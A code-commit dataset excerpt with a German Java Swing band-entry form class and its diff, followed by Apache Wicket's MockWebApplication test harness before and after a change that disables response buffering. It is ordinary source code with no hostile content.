// Panel erzeugen mit Gridlayout
JPanel jpmaininput = new JPanel(new GridLayout(13, 1, 1, 10));
// Label erzeugen
fueller = new JLabel("");
jpmaininput.add(fueller);
// JTextFields erzeugen
jtfname = new JTextField();
jtfmitglied = new JTextField();
jtfehemalig = new JTextField();
jtfstueckgruppe = new JTextField();
jtfreferenz = new JTextField();
// JTextfields verg\u00F6sern
jtfname.setColumns(10);
jtfmitglied.setColumns(10);
jtfehemalig.setColumns(10);
jtfstueckgruppe.setColumns(10);
jtfreferenz.setColumns(10);
// JTextfield schrift festlegen
jtfname.setFont(ftfield);
jtfmitglied.setFont(ftfield);
jtfehemalig.setFont(ftfield);
jtfstueckgruppe.setFont(ftfield);
jtfreferenz.setFont(ftfield);
// JTextfields hinzuf\u00FCgen
jpmaininput.add(jtfname);
jpmaininput.add(jtfmitglied);
jpmaininput.add(jtfehemalig);
jpmaininput.add(jtfstueckgruppe);
jpmaininput.add(jtfreferenz);
return jpmaininput;
}
public JPanel jpmainrechts() {
//Panel erzeugen mit Gridlayout
JPanel jpmaininput = new JPanel(new GridLayout(13, 1, 1, 10));
return jpmaininput;
}
}
| src/testklassen/EingabeformularBand03.java | package testklassen;
import java.awt.*;
import javax.swing.*;
public class EingabeformularBand03 extends JPanel {
// Felder:
// Panel
private JPanel jpmaindesc, jpmaininput;
// Schrift:
private Font ftfield;
// Label
private JLabel ueschrift;
private JLabel name;
private JLabel mitglied;
private JLabel ehemalig;
private JLabel stueckgruppe;
private JLabel referenz;
private JLabel fueller;
// JTextField
private JTextField jtfname;
private JTextField jtfmitglied;
private JTextField jtfehemalig;
private JTextField jtfstueckgruppe;
private JTextField jtfreferenz;
public JPanel jpmaindesc() {
// Panel erzeugen mit GridLayout
JPanel jpmaindesc = new JPanel(new GridLayout(13, 1, 10, 10));
// Schriften erzeugen
ftfield = new Font(Font.SANS_SERIF, Font.BOLD + Font.ITALIC, 15);
// Label erzeugen
ueschrift = new JLabel("Tragen Sie eine Band ein:");
name = new JLabel("Name");
mitglied = new JLabel("Mitglied");
ehemalig = new JLabel("Ehemalig");
stueckgruppe = new JLabel("St\u00FCck");
referenz = new JLabel("Referenz");
// Label dem Panel hinzuf\u00FCgen
jpmaindesc.add(ueschrift);
jpmaindesc.add(name);
jpmaindesc.add(mitglied);
jpmaindesc.add(ehemalig);
jpmaindesc.add(stueckgruppe);
jpmaindesc.add(referenz);
// Label rechts anordnen
ueschrift.setHorizontalAlignment(SwingConstants.RIGHT);
name.setHorizontalAlignment(SwingConstants.RIGHT);
mitglied.setHorizontalAlignment(SwingConstants.RIGHT);
ehemalig.setHorizontalAlignment(SwingConstants.RIGHT);
stueckgruppe.setHorizontalAlignment(SwingConstants.RIGHT);
referenz.setHorizontalAlignment(SwingConstants.RIGHT);
// Schrift dem gew\u00FCnschten Label hinzuf\u00FCgen
ueschrift.setFont(ftfield);
return jpmaindesc;
}
public JPanel jpmaininput() {
// Panel erzeugen mit Gridlayout
JPanel jpmaininput = new JPanel(new GridLayout(13, 1, 1, 10));
// Label erzeugen
fueller = new JLabel("");
jpmaininput.add(fueller);
// JTextFields erzeugen
jtfname = new JTextField();
jtfmitglied = new JTextField();
jtfehemalig = new JTextField();
jtfstueckgruppe = new JTextField();
jtfreferenz = new JTextField();
// JTextfields verg\u00F6sern
jtfname.setColumns(10);
jtfmitglied.setColumns(10);
jtfehemalig.setColumns(10);
jtfstueckgruppe.setColumns(10);
jtfreferenz.setColumns(10);
// JTextfield schrift festlegen
jtfname.setFont(ftfield);
jtfmitglied.setFont(ftfield);
jtfehemalig.setFont(ftfield);
jtfstueckgruppe.setFont(ftfield);
jtfreferenz.setFont(ftfield);
// JTextfields hinzuf\u00FCgen
jpmaininput.add(jtfname);
jpmaininput.add(jtfmitglied);
jpmaininput.add(jtfehemalig);
jpmaininput.add(jtfstueckgruppe);
jpmaininput.add(jtfreferenz);
return jpmaininput;
}
public JPanel jpmainrechts() {
//Panel erzeugen mit Gridlayout
JPanel jpmaininput = new JPanel(new GridLayout(13, 1, 1, 10));
return jpmaininput;
}
}
| Update EingabeformularBand03.java
Zeilen verkürzt | src/testklassen/EingabeformularBand03.java | Update EingabeformularBand03.java | <ide><path>rc/testklassen/EingabeformularBand03.java
<ide> private Font ftfield;
<ide>
<ide> // Label
<del> private JLabel ueschrift;
<del> private JLabel name;
<del> private JLabel mitglied;
<del> private JLabel ehemalig;
<del> private JLabel stueckgruppe;
<del> private JLabel referenz;
<del> private JLabel fueller;
<add> private JLabel ueschrift, name, mitglied, ehemalig, stueckgruppe, referenz, fueller;
<ide>
<ide> // JTextField
<ide>
<del> private JTextField jtfname;
<del> private JTextField jtfmitglied;
<del> private JTextField jtfehemalig;
<del> private JTextField jtfstueckgruppe;
<del> private JTextField jtfreferenz;
<add> private JTextField jtfname, jtfmitglied, jtfehemalig, jtfstueckgruppe, jtfreferenz;
<ide>
<ide> public JPanel jpmaindesc() {
<ide> |
|
Java | apache-2.0 | a0dc987641aca27b94eabc7e5e64b8e2d2a96cb4 | 0 | freiheit-com/wicket,dashorst/wicket,apache/wicket,mosoft521/wicket,bitstorm/wicket,selckin/wicket,martin-g/wicket-osgi,freiheit-com/wicket,topicusonderwijs/wicket,Servoy/wicket,mosoft521/wicket,zwsong/wicket,selckin/wicket,aldaris/wicket,astrapi69/wicket,klopfdreh/wicket,apache/wicket,AlienQueen/wicket,aldaris/wicket,dashorst/wicket,selckin/wicket,freiheit-com/wicket,apache/wicket,AlienQueen/wicket,mosoft521/wicket,zwsong/wicket,mosoft521/wicket,aldaris/wicket,martin-g/wicket-osgi,Servoy/wicket,zwsong/wicket,dashorst/wicket,freiheit-com/wicket,topicusonderwijs/wicket,bitstorm/wicket,aldaris/wicket,bitstorm/wicket,martin-g/wicket-osgi,astrapi69/wicket,mosoft521/wicket,astrapi69/wicket,selckin/wicket,AlienQueen/wicket,klopfdreh/wicket,selckin/wicket,apache/wicket,astrapi69/wicket,mafulafunk/wicket,mafulafunk/wicket,AlienQueen/wicket,topicusonderwijs/wicket,Servoy/wicket,zwsong/wicket,klopfdreh/wicket,Servoy/wicket,apache/wicket,Servoy/wicket,topicusonderwijs/wicket,AlienQueen/wicket,aldaris/wicket,dashorst/wicket,topicusonderwijs/wicket,freiheit-com/wicket,klopfdreh/wicket,klopfdreh/wicket,bitstorm/wicket,bitstorm/wicket,dashorst/wicket,mafulafunk/wicket | /*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.wicket.protocol.http;
import java.io.File;
import java.util.Enumeration;
import java.util.HashMap;
import java.util.Map;
import javax.servlet.FilterConfig;
import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import org.apache.wicket.Application;
import org.apache.wicket.Component;
import org.apache.wicket.IRequestTarget;
import org.apache.wicket.Page;
import org.apache.wicket.PageParameters;
import org.apache.wicket.Session;
import org.apache.wicket.markup.html.pages.ExceptionErrorPage;
import org.apache.wicket.request.target.component.BookmarkablePageRequestTarget;
import org.apache.wicket.request.target.component.IBookmarkablePageRequestTarget;
import org.apache.wicket.request.target.component.IPageRequestTarget;
import org.apache.wicket.settings.IRequestCycleSettings;
import org.apache.wicket.util.file.WebApplicationPath;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
/**
* This class provides a mock implementation of a Wicket HTTP based tester that can be used for
* testing. It emulates all of the functionality of an HttpServlet in a controlled, single-threaded
* environment. It is supported with mock objects for WebSession, HttpServletRequest,
* HttpServletResponse and ServletContext.
* <p>
* In its most basic usage you can just create a new MockWebApplication and provide your Wicket
* Application object. This should be sufficient to allow you to construct components and pages and
* so on for testing. To use certain features such as localization you must also call
* setupRequestAndResponse().
* <p>
* The tester takes an optional path attribute that defines a directory on the disk which will
* correspond to the root of the WAR bundle. This can then be used for locating non-tester
* resources.
* <p>
* To actually test the processing of a particular page or component you can also call
* processRequestCycle() to do all the normal work of a Wicket request.
* <p>
* Between calling setupRequestAndResponse() and processRequestCycle() you can get hold of any of
* the objects for initialization. The servlet request object has some handy convenience methods for
* Initializing the request to invoke certain types of pages and components.
* <p>
* After completion of processRequestCycle() you will probably just be testing component states.
* However, you also have full access to the response document (or binary data) and result codes via
* the servlet response object.
* <p>
* IMPORTANT NOTES
* <ul>
* <li>This harness is SINGLE THREADED - there is only one global session. For multi-threaded
* testing you must do integration testing with a full tester server.
* </ul>
*
* @author Chris Turner
*/
public class MockWebApplication
{
/** Logging */
private static final Logger log = LoggerFactory.getLogger(MockWebApplication.class);
/** The last rendered page. */
private Page lastRenderedPage;
/** The previously rendered page */
private Page previousRenderedPage;
/** Mock http servlet request. */
private final MockHttpServletRequest servletRequest;
/** Mock http servlet response. */
private final MockHttpServletResponse servletResponse;
/** Mock http servlet session. */
private final MockHttpSession servletSession;
/** Request. */
private WebRequest wicketRequest;
/** Parameters to be set on the next request. */
private Map parametersForNextRequest = new HashMap();
/** Response. */
private WebResponse wicketResponse;
/** Session. */
private WebSession wicketSession;
/** The tester object */
private final WebApplication application;
private final ServletContext context;
private final WicketFilter filter;
/**
* Create the mock http tester that can be used for testing.
*
* @param application
* The wicket application object
* @param path
* The absolute path on disk to the web tester contents (e.g. war root) - may be null
* @see org.apache.wicket.protocol.http.MockServletContext
*/
public MockWebApplication(final WebApplication application, final String path)
{
this.application = application;
context = newServletContext(path);
filter = new WicketFilter()
{
protected IWebApplicationFactory getApplicationFactory()
{
return new IWebApplicationFactory()
{
public WebApplication createApplication(WicketFilter filter)
{
return application;
};
};
}
};
try
{
filter.init(new FilterConfig()
{
public ServletContext getServletContext()
{
return context;
}
public Enumeration getInitParameterNames()
{
return null;
}
public String getInitParameter(String name)
{
if (name.equals(WicketFilter.FILTER_MAPPING_PARAM))
{
return WicketFilter.SERVLET_PATH_HOLDER;
// return "/" + MockWebApplication.this.getName() +
// "/*";
}
return null;
}
public String getFilterName()
{
return "WicketMockServlet";
}
});
}
catch (ServletException e)
{
throw new RuntimeException(e);
}
Application.set(this.application);
// Construct mock session, request and response
servletSession = new MockHttpSession(context);
servletRequest = new MockHttpServletRequest(this.application, servletSession, context);
servletResponse = new MockHttpServletResponse(servletRequest);
// Construct request and response using factories
wicketRequest = this.application.newWebRequest(servletRequest);
wicketResponse = this.application.newWebResponse(servletResponse);
// Create request cycle
createRequestCycle();
this.application.getRequestCycleSettings().setRenderStrategy(
IRequestCycleSettings.ONE_PASS_RENDER);
// Don't buffer the response, as this can break ajax tests: see WICKET-1264
this.application.getRequestCycleSettings().setBufferResponse(false);
this.application.getResourceSettings().setResourceFinder(new WebApplicationPath(context));
this.application.getPageSettings().setAutomaticMultiWindowSupport(false);
// Since the purpose of MockWebApplication is singlethreaded
// programmatic testing it doesn't make much sense to have a
// modification watcher thread started to watch for changes in the
// markup.
// Disabling this also helps test suites with many test cases
// (problems has been noticed with >~300 test cases). The problem
// is that even if the wicket tester is GC'ed the modification
// watcher still runs, taking up file handles and memory, leading
// to "Too many files opened" or a regular OutOfMemoryException
this.application.getResourceSettings().setResourcePollFrequency(null);
}
/**
* Used to create a new mock servlet context.
*
* @param path
* The absolute path on disk to the web tester contents (e.g. war root) - may be null
* @return ServletContext
*/
public ServletContext newServletContext(final String path)
{
return new MockServletContext(application, path);
}
/**
* Gets the application object.
*
* @return Wicket application
*/
public final WebApplication getApplication()
{
return application;
}
/**
* Get the page that was just rendered by the last request cycle processing.
*
* @return The last rendered page
*/
public Page getLastRenderedPage()
{
return lastRenderedPage;
}
/**
* Get the page that was previously
*
* @return The last rendered page
*/
public Page getPreviousRenderedPage()
{
return previousRenderedPage;
}
/**
* Get the request object so that we can apply configurations to it.
*
* @return The request object
*/
public MockHttpServletRequest getServletRequest()
{
return servletRequest;
}
/**
* Get the response object so that we can apply configurations to it.
*
* @return The response object
*/
public MockHttpServletResponse getServletResponse()
{
return servletResponse;
}
/**
* Get the session object so that we can apply configurations to it.
*
* @return The session object
*/
public MockHttpSession getServletSession()
{
return servletSession;
}
/**
* Get the wicket request object.
*
* @return The wicket request object
*/
public WebRequest getWicketRequest()
{
return wicketRequest;
}
/**
* Get the wicket response object.
*
* @return The wicket response object
*/
public WebResponse getWicketResponse()
{
return wicketResponse;
}
/**
* Get the wicket session.
*
* @return The wicket session object
*/
public WebSession getWicketSession()
{
return wicketSession;
}
/**
* Initialize a new WebRequestCycle and all its dependent objects
*
* @param component
*/
public void processRequestCycle(final Component component)
{
setupRequestAndResponse();
final WebRequestCycle cycle = createRequestCycle();
cycle.request(component);
if (component instanceof Page)
{
lastRenderedPage = (Page)component;
}
postProcessRequestCycle(cycle);
}
/**
* Initialize a new WebRequestCycle and all its dependent objects
*
* @param pageClass
*/
public void processRequestCycle(final Class pageClass)
{
processRequestCycle(pageClass, null);
}
/**
* Initialize a new WebRequestCycle and all its dependent objects
*
* @param pageClass
* @param params
*/
public void processRequestCycle(final Class pageClass, PageParameters params)
{
setupRequestAndResponse();
final WebRequestCycle cycle = createRequestCycle();
try
{
cycle.request(new BookmarkablePageRequestTarget(pageClass, params));
}
finally
{
cycle.getResponse().close();
}
postProcessRequestCycle(cycle);
}
/**
* Create and process the request cycle using the current request and response information.
*/
public void processRequestCycle()
{
processRequestCycle(createRequestCycle());
}
/**
* Create and process the request cycle using the current request and response information.
*
* @param cycle
*/
public void processRequestCycle(WebRequestCycle cycle)
{
try
{
cycle.request();
createRequestCycle();
}
finally
{
cycle.getResponse().close();
}
postProcessRequestCycle(cycle);
}
/**
*
* @param cycle
*/
private void postProcessRequestCycle(WebRequestCycle cycle)
{
previousRenderedPage = lastRenderedPage;
if (cycle.getResponse() instanceof WebResponse)
{
// handle redirects which are usually managed by the browser
// transparently
final MockHttpServletResponse httpResponse = (MockHttpServletResponse)cycle.getWebResponse()
.getHttpServletResponse();
if (httpResponse.isRedirect())
{
lastRenderedPage = generateLastRenderedPage(cycle);
MockHttpServletRequest newHttpRequest = new MockHttpServletRequest(application,
servletSession, application.getServletContext());
newHttpRequest.setRequestToRedirectString(httpResponse.getRedirectLocation());
wicketRequest = application.newWebRequest(newHttpRequest);
cycle = createRequestCycle();
cycle.request();
}
}
lastRenderedPage = generateLastRenderedPage(cycle);
Session.set(getWicketSession());
if (getLastRenderedPage() instanceof ExceptionErrorPage)
{
throw (RuntimeException)((ExceptionErrorPage)getLastRenderedPage()).getThrowable();
}
}
/**
*
* @param cycle
* @return Last page
*/
private Page generateLastRenderedPage(WebRequestCycle cycle)
{
Page newLastRenderedPage = cycle.getResponsePage();
if (newLastRenderedPage == null)
{
Class responseClass = cycle.getResponsePageClass();
if (responseClass != null)
{
Session.set(cycle.getSession());
IRequestTarget target = cycle.getRequestTarget();
if (target instanceof IPageRequestTarget)
{
newLastRenderedPage = ((IPageRequestTarget)target).getPage();
}
else if (target instanceof IBookmarkablePageRequestTarget)
{
// create a new request cycle for the newPage call
createRequestCycle();
IBookmarkablePageRequestTarget pageClassRequestTarget = (IBookmarkablePageRequestTarget)target;
Class pageClass = pageClassRequestTarget.getPageClass();
PageParameters parameters = pageClassRequestTarget.getPageParameters();
if (parameters == null || parameters.size() == 0)
{
newLastRenderedPage = application.getSessionSettings()
.getPageFactory()
.newPage(pageClass);
}
else
{
newLastRenderedPage = application.getSessionSettings()
.getPageFactory()
.newPage(pageClass, parameters);
}
}
}
}
if (newLastRenderedPage == null)
{
newLastRenderedPage = lastRenderedPage;
}
return newLastRenderedPage;
}
/**
* Create and process the request cycle using the current request and response information.
*
* @return A new and initialized WebRequestCyle
*/
public WebRequestCycle createRequestCycle()
{
// Create a web request cycle using factory
final WebRequestCycle cycle = (WebRequestCycle)application.newRequestCycle(wicketRequest,
wicketResponse);
// Construct session
wicketSession = (WebSession)Session.findOrCreate();
// Set request cycle so it won't detach automatically and clear messages
// we want to check
cycle.setAutomaticallyClearFeedbackMessages(false);
return cycle;
}
/**
* Reset the request and the response back to a starting state and recreate the necessary wicket
* request, response and session objects. The request and response objects can be accessed and
* Initialized at this point.
*
* @param isAjax
* indicates whether the request should be initialized as an ajax request (ajax
* header "Wicket-Ajax" is set)
*/
public WebRequestCycle setupRequestAndResponse(boolean isAjax)
{
servletRequest.initialize();
servletResponse.initialize();
servletRequest.setParameters(parametersForNextRequest);
if (isAjax)
{
servletRequest.addHeader("Wicket-Ajax", "Yes");
}
parametersForNextRequest.clear();
wicketRequest = application.newWebRequest(servletRequest);
wicketResponse = application.newWebResponse(servletResponse);
WebRequestCycle requestCycle = createRequestCycle();
application.getSessionStore().bind(wicketRequest, wicketSession);
wicketResponse.setAjax(wicketRequest.isAjax());
return requestCycle;
}
/**
* Reset the request and the response back to a starting state and recreate the necessary wicket
* request, response and session objects. The request and response objects can be accessed and
* Initialized at this point.
*/
public WebRequestCycle setupRequestAndResponse()
{
return setupRequestAndResponse(false);
}
/**
* Gets the parameters to be set on the next request.
*
* @return the parameters to be set on the next request
*/
public Map getParametersForNextRequest()
{
return parametersForNextRequest;
}
/**
* Sets the parameters to be set on the next request.
*
* @param parametersForNextRequest
* the parameters to be set on the next request
*/
public void setParametersForNextRequest(Map parametersForNextRequest)
{
this.parametersForNextRequest = parametersForNextRequest;
}
/**
* clears this mock application
*/
public void destroy()
{
filter.destroy();
File dir = (File)context.getAttribute("javax.servlet.context.tempdir");
deleteDir(dir);
}
private void deleteDir(File dir)
{
if (dir != null && dir.isDirectory())
{
File[] files = dir.listFiles();
if (files != null)
{
for (int i = 0; i < files.length; i++)
{
File element = files[i];
if (element.isDirectory())
{
deleteDir(element);
}
else
{
element.delete();
}
}
}
dir.delete();
}
}
}
| jdk-1.4/wicket/src/main/java/org/apache/wicket/protocol/http/MockWebApplication.java | /*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.wicket.protocol.http;
import java.io.File;
import java.util.Enumeration;
import java.util.HashMap;
import java.util.Map;
import javax.servlet.FilterConfig;
import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import org.apache.wicket.Application;
import org.apache.wicket.Component;
import org.apache.wicket.IRequestTarget;
import org.apache.wicket.Page;
import org.apache.wicket.PageParameters;
import org.apache.wicket.Session;
import org.apache.wicket.markup.html.pages.ExceptionErrorPage;
import org.apache.wicket.request.target.component.BookmarkablePageRequestTarget;
import org.apache.wicket.request.target.component.IBookmarkablePageRequestTarget;
import org.apache.wicket.request.target.component.IPageRequestTarget;
import org.apache.wicket.settings.IRequestCycleSettings;
import org.apache.wicket.util.file.WebApplicationPath;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
/**
* This class provides a mock implementation of a Wicket HTTP based tester that can be used for
* testing. It emulates all of the functionality of an HttpServlet in a controlled, single-threaded
* environment. It is supported with mock objects for WebSession, HttpServletRequest,
* HttpServletResponse and ServletContext.
* <p>
* In its most basic usage you can just create a new MockWebApplication and provide your Wicket
* Application object. This should be sufficient to allow you to construct components and pages and
* so on for testing. To use certain features such as localization you must also call
* setupRequestAndResponse().
* <p>
* The tester takes an optional path attribute that defines a directory on the disk which will
* correspond to the root of the WAR bundle. This can then be used for locating non-tester
* resources.
* <p>
* To actually test the processing of a particular page or component you can also call
* processRequestCycle() to do all the normal work of a Wicket request.
* <p>
* Between calling setupRequestAndResponse() and processRequestCycle() you can get hold of any of
* the objects for initialization. The servlet request object has some handy convenience methods for
* Initializing the request to invoke certain types of pages and components.
* <p>
* After completion of processRequestCycle() you will probably just be testing component states.
* However, you also have full access to the response document (or binary data) and result codes via
* the servlet response object.
* <p>
* IMPORTANT NOTES
* <ul>
* <li>This harness is SINGLE THREADED - there is only one global session. For multi-threaded
* testing you must do integration testing with a full tester server.
* </ul>
*
* @author Chris Turner
*/
public class MockWebApplication
{
/** Logging */
private static final Logger log = LoggerFactory.getLogger(MockWebApplication.class);
/** The last rendered page. */
private Page lastRenderedPage;
/** The previously rendered page */
private Page previousRenderedPage;
/** Mock http servlet request. */
private final MockHttpServletRequest servletRequest;
/** Mock http servlet response. */
private final MockHttpServletResponse servletResponse;
/** Mock http servlet session. */
private final MockHttpSession servletSession;
/** Request. */
private WebRequest wicketRequest;
/** Parameters to be set on the next request. */
private Map parametersForNextRequest = new HashMap();
/** Response. */
private WebResponse wicketResponse;
/** Session. */
private WebSession wicketSession;
/** The tester object */
private final WebApplication application;
private final ServletContext context;
private final WicketFilter filter;
/**
* Create the mock http tester that can be used for testing.
*
* @param application
* The wicket application object
* @param path
* The absolute path on disk to the web tester contents (e.g. war root) - may be null
* @see org.apache.wicket.protocol.http.MockServletContext
*/
public MockWebApplication(final WebApplication application, final String path)
{
this.application = application;
context = newServletContext(path);
filter = new WicketFilter()
{
protected IWebApplicationFactory getApplicationFactory()
{
return new IWebApplicationFactory()
{
public WebApplication createApplication(WicketFilter filter)
{
return application;
};
};
}
};
try
{
filter.init(new FilterConfig()
{
public ServletContext getServletContext()
{
return context;
}
public Enumeration getInitParameterNames()
{
return null;
}
public String getInitParameter(String name)
{
if (name.equals(WicketFilter.FILTER_MAPPING_PARAM))
{
return WicketFilter.SERVLET_PATH_HOLDER;
// return "/" + MockWebApplication.this.getName() +
// "/*";
}
return null;
}
public String getFilterName()
{
return "WicketMockServlet";
}
});
}
catch (ServletException e)
{
throw new RuntimeException(e);
}
Application.set(this.application);
// Construct mock session, request and response
servletSession = new MockHttpSession(context);
servletRequest = new MockHttpServletRequest(this.application, servletSession, context);
servletResponse = new MockHttpServletResponse(servletRequest);
// Construct request and response using factories
wicketRequest = this.application.newWebRequest(servletRequest);
wicketResponse = this.application.newWebResponse(servletResponse);
// Create request cycle
createRequestCycle();
this.application.getRequestCycleSettings().setRenderStrategy(
IRequestCycleSettings.ONE_PASS_RENDER);
this.application.getResourceSettings().setResourceFinder(new WebApplicationPath(context));
this.application.getPageSettings().setAutomaticMultiWindowSupport(false);
// Since the purpose of MockWebApplication is singlethreaded
// programmatic testing it doesn't make much sense to have a
// modification watcher thread started to watch for changes in the
// markup.
// Disabling this also helps test suites with many test cases
// (problems has been noticed with >~300 test cases). The problem
// is that even if the wicket tester is GC'ed the modification
// watcher still runs, taking up file handles and memory, leading
// to "Too many files opened" or a regular OutOfMemoryException
this.application.getResourceSettings().setResourcePollFrequency(null);
}
/**
* Used to create a new mock servlet context.
*
* @param path
* The absolute path on disk to the web tester contents (e.g. war root) - may be null
* @return ServletContext
*/
public ServletContext newServletContext(final String path)
{
return new MockServletContext(application, path);
}
/**
* Gets the application object.
*
* @return Wicket application
*/
public final WebApplication getApplication()
{
return application;
}
/**
* Get the page that was just rendered by the last request cycle processing.
*
* @return The last rendered page
*/
public Page getLastRenderedPage()
{
return lastRenderedPage;
}
/**
* Get the page that was previously
*
* @return The last rendered page
*/
public Page getPreviousRenderedPage()
{
return previousRenderedPage;
}
/**
* Get the request object so that we can apply configurations to it.
*
* @return The request object
*/
public MockHttpServletRequest getServletRequest()
{
return servletRequest;
}
/**
* Get the response object so that we can apply configurations to it.
*
* @return The response object
*/
public MockHttpServletResponse getServletResponse()
{
return servletResponse;
}
/**
* Get the session object so that we can apply configurations to it.
*
* @return The session object
*/
public MockHttpSession getServletSession()
{
return servletSession;
}
/**
* Get the wicket request object.
*
* @return The wicket request object
*/
public WebRequest getWicketRequest()
{
return wicketRequest;
}
/**
* Get the wicket response object.
*
* @return The wicket response object
*/
public WebResponse getWicketResponse()
{
return wicketResponse;
}
/**
* Get the wicket session.
*
* @return The wicket session object
*/
public WebSession getWicketSession()
{
return wicketSession;
}
/**
* Initialize a new WebRequestCycle and all its dependent objects
*
* @param component
*/
public void processRequestCycle(final Component component)
{
setupRequestAndResponse();
final WebRequestCycle cycle = createRequestCycle();
cycle.request(component);
if (component instanceof Page)
{
lastRenderedPage = (Page)component;
}
postProcessRequestCycle(cycle);
}
/**
* Initialize a new WebRequestCycle and all its dependent objects
*
* @param pageClass
*/
public void processRequestCycle(final Class pageClass)
{
processRequestCycle(pageClass, null);
}
/**
* Initialize a new WebRequestCycle and all its dependent objects
*
* @param pageClass
* @param params
*/
public void processRequestCycle(final Class pageClass, PageParameters params)
{
setupRequestAndResponse();
final WebRequestCycle cycle = createRequestCycle();
try
{
cycle.request(new BookmarkablePageRequestTarget(pageClass, params));
}
finally
{
cycle.getResponse().close();
}
postProcessRequestCycle(cycle);
}
/**
* Create and process the request cycle using the current request and response information.
*/
public void processRequestCycle()
{
processRequestCycle(createRequestCycle());
}
/**
* Create and process the request cycle using the current request and response information.
*
* @param cycle
*/
public void processRequestCycle(WebRequestCycle cycle)
{
try
{
cycle.request();
createRequestCycle();
}
finally
{
cycle.getResponse().close();
}
postProcessRequestCycle(cycle);
}
/**
*
* @param cycle
*/
private void postProcessRequestCycle(WebRequestCycle cycle)
{
previousRenderedPage = lastRenderedPage;
if (cycle.getResponse() instanceof WebResponse)
{
// handle redirects which are usually managed by the browser
// transparently
final MockHttpServletResponse httpResponse = (MockHttpServletResponse)cycle.getWebResponse()
.getHttpServletResponse();
if (httpResponse.isRedirect())
{
lastRenderedPage = generateLastRenderedPage(cycle);
MockHttpServletRequest newHttpRequest = new MockHttpServletRequest(application,
servletSession, application.getServletContext());
newHttpRequest.setRequestToRedirectString(httpResponse.getRedirectLocation());
wicketRequest = application.newWebRequest(newHttpRequest);
cycle = createRequestCycle();
cycle.request();
}
}
lastRenderedPage = generateLastRenderedPage(cycle);
Session.set(getWicketSession());
if (getLastRenderedPage() instanceof ExceptionErrorPage)
{
throw (RuntimeException)((ExceptionErrorPage)getLastRenderedPage()).getThrowable();
}
}
/**
*
* @param cycle
* @return Last page
*/
private Page generateLastRenderedPage(WebRequestCycle cycle)
{
Page newLastRenderedPage = cycle.getResponsePage();
if (newLastRenderedPage == null)
{
Class responseClass = cycle.getResponsePageClass();
if (responseClass != null)
{
Session.set(cycle.getSession());
IRequestTarget target = cycle.getRequestTarget();
if (target instanceof IPageRequestTarget)
{
newLastRenderedPage = ((IPageRequestTarget)target).getPage();
}
else if (target instanceof IBookmarkablePageRequestTarget)
{
// create a new request cycle for the newPage call
createRequestCycle();
IBookmarkablePageRequestTarget pageClassRequestTarget = (IBookmarkablePageRequestTarget)target;
Class pageClass = pageClassRequestTarget.getPageClass();
PageParameters parameters = pageClassRequestTarget.getPageParameters();
if (parameters == null || parameters.size() == 0)
{
newLastRenderedPage = application.getSessionSettings()
.getPageFactory()
.newPage(pageClass);
}
else
{
newLastRenderedPage = application.getSessionSettings()
.getPageFactory()
.newPage(pageClass, parameters);
}
}
}
}
if (newLastRenderedPage == null)
{
newLastRenderedPage = lastRenderedPage;
}
return newLastRenderedPage;
}
/**
* Create and process the request cycle using the current request and response information.
*
* @return A new and initialized WebRequestCyle
*/
public WebRequestCycle createRequestCycle()
{
// Create a web request cycle using factory
final WebRequestCycle cycle = (WebRequestCycle)application.newRequestCycle(wicketRequest,
wicketResponse);
// Construct session
wicketSession = (WebSession)Session.findOrCreate();
// Set request cycle so it won't detach automatically and clear messages
// we want to check
cycle.setAutomaticallyClearFeedbackMessages(false);
return cycle;
}
/**
* Reset the request and the response back to a starting state and recreate the necessary wicket
* request, response and session objects. The request and response objects can be accessed and
* Initialized at this point.
*
* @param isAjax
* indicates whether the request should be initialized as an ajax request (ajax
* header "Wicket-Ajax" is set)
*/
public WebRequestCycle setupRequestAndResponse(boolean isAjax)
{
servletRequest.initialize();
servletResponse.initialize();
servletRequest.setParameters(parametersForNextRequest);
if (isAjax)
{
servletRequest.addHeader("Wicket-Ajax", "Yes");
}
parametersForNextRequest.clear();
wicketRequest = application.newWebRequest(servletRequest);
wicketResponse = application.newWebResponse(servletResponse);
WebRequestCycle requestCycle = createRequestCycle();
application.getSessionStore().bind(wicketRequest, wicketSession);
wicketResponse.setAjax(wicketRequest.isAjax());
return requestCycle;
}
/**
* Reset the request and the response back to a starting state and recreate the necessary wicket
* request, response and session objects. The request and response objects can be accessed and
* Initialized at this point.
*/
public WebRequestCycle setupRequestAndResponse()
{
return setupRequestAndResponse(false);
}
/**
* Gets the parameters to be set on the next request.
*
* @return the parameters to be set on the next request
*/
public Map getParametersForNextRequest()
{
return parametersForNextRequest;
}
/**
* Sets the parameters to be set on the next request.
*
* @param parametersForNextRequest
* the parameters to be set on the next request
*/
public void setParametersForNextRequest(Map parametersForNextRequest)
{
this.parametersForNextRequest = parametersForNextRequest;
}
/**
* clears this mock application
*/
public void destroy()
{
filter.destroy();
File dir = (File)context.getAttribute("javax.servlet.context.tempdir");
deleteDir(dir);
}
private void deleteDir(File dir)
{
if (dir != null && dir.isDirectory())
{
File[] files = dir.listFiles();
if (files != null)
{
for (int i = 0; i < files.length; i++)
{
File element = files[i];
if (element.isDirectory())
{
deleteDir(element);
}
else
{
element.delete();
}
}
}
dir.delete();
}
}
}
| WICKET-1264
git-svn-id: 5a74b5304d8e7e474561603514f78b697e5d94c4@609771 13f79535-47bb-0310-9956-ffa450edef68
